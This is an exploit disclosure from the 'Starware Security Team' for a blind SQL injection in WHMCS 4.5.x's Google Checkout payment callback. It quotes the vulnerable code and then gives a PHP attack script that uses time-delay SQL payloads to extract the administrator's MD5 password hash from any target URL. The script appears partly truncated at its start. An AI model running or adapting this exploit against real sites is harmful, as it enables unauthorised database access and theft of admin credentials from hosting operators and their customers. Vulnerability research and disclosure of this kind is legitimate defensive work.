____ _
/ ___|| |_ __ _ _ __ __ ____ _ _ __ ___
\___ \| __/ _` | '__| \ \ /\ / / _` | '__/ _ \
___) | || (_| | | \ V V / (_| | | | __/
|____/ \__\__,_|_| \_/\_/ \__,_|_| \___|
# Software : WHMCS (WHMCompleteSolution)
# Google Dork: Turn on thinking mode :P
# Date: 10/22/2012
# Author: Starware Security Team [www.Resecure.me]
# Contact Us : Security[@]star-ware.com
# Vendor Homepage: http://www.whmcs.com
# Tested on: WHMCS v4.5.2
# Affected versions: 4.5.x
-----------------------------------------------------
#Vulnerability Exists in : [SCRIPT_DIR]/modules/gateways/callback/googlecheckout.php
#Vulnerable Source Code Snippet :
LINE 11: $xml_response = (isset($HTTP_RAW_POST_DATA) ? $HTTP_RAW_POST_DATA : file_get_contents('php://input'));
LINE 16: $xmldata = XMLtoArray($xml_response);
LINE 19: $ordernumber = $xmldata['CHARGE-AMOUNT-NOTIFICATION']['GOOGLE-ORDER-NUMBER'];
LINE 22: $query = 'SELECT data FROM tblgatewaylog WHERE gateway=\'Google Checkout\' AND data LIKE \'%new-order-notification%' . $ordernumber . '%\'';
#Proof of Concept :
WHMCS Blind SQL Injection POC
#Exploit Code :
0' $injection charge-amount-notification");
if(end_time($start) >= $seconds) return true; else return false;
}
function inject($num,$num2,$num3) {
global $url,$seconds;
for($i=$num;$i<=$num2;$i++) {
$start= start_time();
$injection = "/**/AnD/**/if(ascii(substring((SeLEcT/**/password/**/FROM/**/tbladmins/**/whEre/**/id/**/=/**/1),$num3,1))/**/=/**/$i,/**/BENCHMARK(999999,MD5(NOW()*NOW())),/**/0)/**/-- #";
post_request($url,"0' $injection charge-amount-notification");
if(end_time($start) >= $seconds) { echo chr($i); flush(); }
}
}
function get_password() {
global $url;
for($i=1; $i<=32;$i++) {
if(check_ascii(48,52,$i)) { inject(48,52,$i); }
elseif(check_ascii(53,57,$i)) { inject(53,57,$i); }
elseif(check_ascii(97,101,$i)) { inject(97,101,$i); }
elseif(check_ascii(102,106,$i)) { inject(102,106,$i); }
elseif(check_ascii(107,111,$i)) { inject(107,111,$i); }
elseif(check_ascii(112,116,$i)) { inject(112,116,$i); }
elseif(check_ascii(116,122,$i)) { inject(116,122,$i); }
}
}
if ($argc < 3) {
print "Usage: php ".$argv[0]." URL seconds\r\nExample:\r\nphp ".$argv[0]." http://site.com/whmcs/ 1\r\n-----------------------------------------\r\n";
die;
}
$url = trim($argv[1])."/modules/gateways/callback/googlecheckout.php";
$seconds = trim($argv[2]);
echo "[~] Fetching password right now ... \n"; flush();
echo " >> MD5 Password = "; flush();
get_password();
?>
#################################################################################
Note: to exploit this vulnerability the google checkout payment gateway
should be activated by admin from the whmcs admin panel
~ END OF Disclosure ~
Good Luck :)
#################################################################################
# Starware is an company specialzed in Hosting and Information Security field #
# with list of high ranked sites including Mobile operators used our Hosting #
# and Security Services. #
# #
# "Company Located in Egypt" #
# #
# http://www.star-ware.com #
# #
#################################################################################